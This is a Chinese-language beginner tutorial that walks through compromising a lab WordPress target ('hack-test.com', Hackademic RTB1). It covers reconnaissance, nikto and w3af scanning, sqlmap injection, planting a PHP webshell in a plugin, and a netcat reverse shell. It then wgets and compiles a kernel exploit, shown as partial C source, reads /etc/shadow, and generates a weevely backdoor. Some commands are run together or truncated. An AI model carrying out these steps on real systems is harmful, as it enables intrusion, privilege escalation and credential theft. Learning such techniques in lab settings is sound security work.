PS:一篇科普文,很适合小白,长文请静下心看。 通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的。阅读本文你会学到以下内容: 1.渗透测试前的简单信息收集。 2.sqlmap的使用 3.nmap的使用 4.nc反弹提权 5.linux系统的权限提升 6.backtrack 5中渗透测试工具nikto和w3af的使用等. 假设黑客要入侵的你的网站域名为:hack-test.com 让我们用ping命令获取网站服务器的IP地址 寻找同一服务器上的其它网站,我们使用sameip.org.
173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。 我们需要关于你网站的以下信息: 1. DNS records (A, NS, TXT, MX and SOA) 2. Web Server Type (Apache, IIS, Tomcat) 3. Registrar (the company that owns your domain) 4. Your name, address, email and phone 5. Scripts that your site uses (php, asp, asp.net, jsp, cfm) 6. Your server OS (Unix,Linux,Windows,Solaris) 7. Your server open ports to internet (80, 443, 21, etc.) 让我们开始找你网站的DNS记录,我们用who.is来完成这一目标. IP: 173.236.138.113 Website Status: active Server Type: Apache Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753 Page Views per Visit: 1 Month: 2.0 3Month: 3.7 接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等. 我们可以通过backtrack5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本. 1-Find services that run on server(查看服务器上运行的服务) Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF等等. 我们将使用Nikto来收集漏洞信息: root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com root@bt:/pentest/web/w3af#./w3af_gui http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220 我们通过工具发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url. Using sqlmap with –u url http://www.onlinehashcrack.com/free-hash-reverse.php 尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的phpwebshell. 我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口. id uid=48(apache) gid=489(apache) groups=489(apache) (用来显示用户的id和组) pwd /var/www/html/Hackademic_RTB1/wp-content/plugins (显示服务器上当前的路径) uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux (显示内核版本信息) 在服务器上测试了很多exp之后,我们用以下的exp来提升权限. http://www.exploit-db.com/exploits/15285 我们在nc shell上执行以下命令: wgethttp://www.exploit-db.com/exploits/15285 -o roro.c (下载exp到服务器并重命名为roro.c) 注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名. exp roro.c代码如下: #include #include #include #include #include #include #include #include #include #include #include #define RECVPORT 5555 #define SENDPORT 6666 int prep_sock(int port) { int s, ret; struct sockaddr_in addr; s = socket(PF_RDS, SOCK_SEQPACKET, 0); if(s < 0) { printf(“[*] Could not open socket.”); exit(-1); } memset(&addr, 0, sizeof(addr)); 通过以上代码我们发现该exp是C语言开发的,我们需要将他编译成elf格式的,命令如下: gcc roro.c –ororo 接下来执行编译好的exp ./roro id 我们发现我们已经是root权限了 uid=0(root) gid=0(root) cat/etc/shadow 我们用weevely制作一个php小马上传到服务器上. 1.weevely使用选项 root@bt:/pentest/backdoors/web/weevely#./main.py - root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko PS:随手转发关注求鼓励 点击查看5T网络爱好者学习资料 点击查看230G网络安全、python、c++教程分享 点击查看 linux、小程序、人工智能教程分享 |
点击查看更多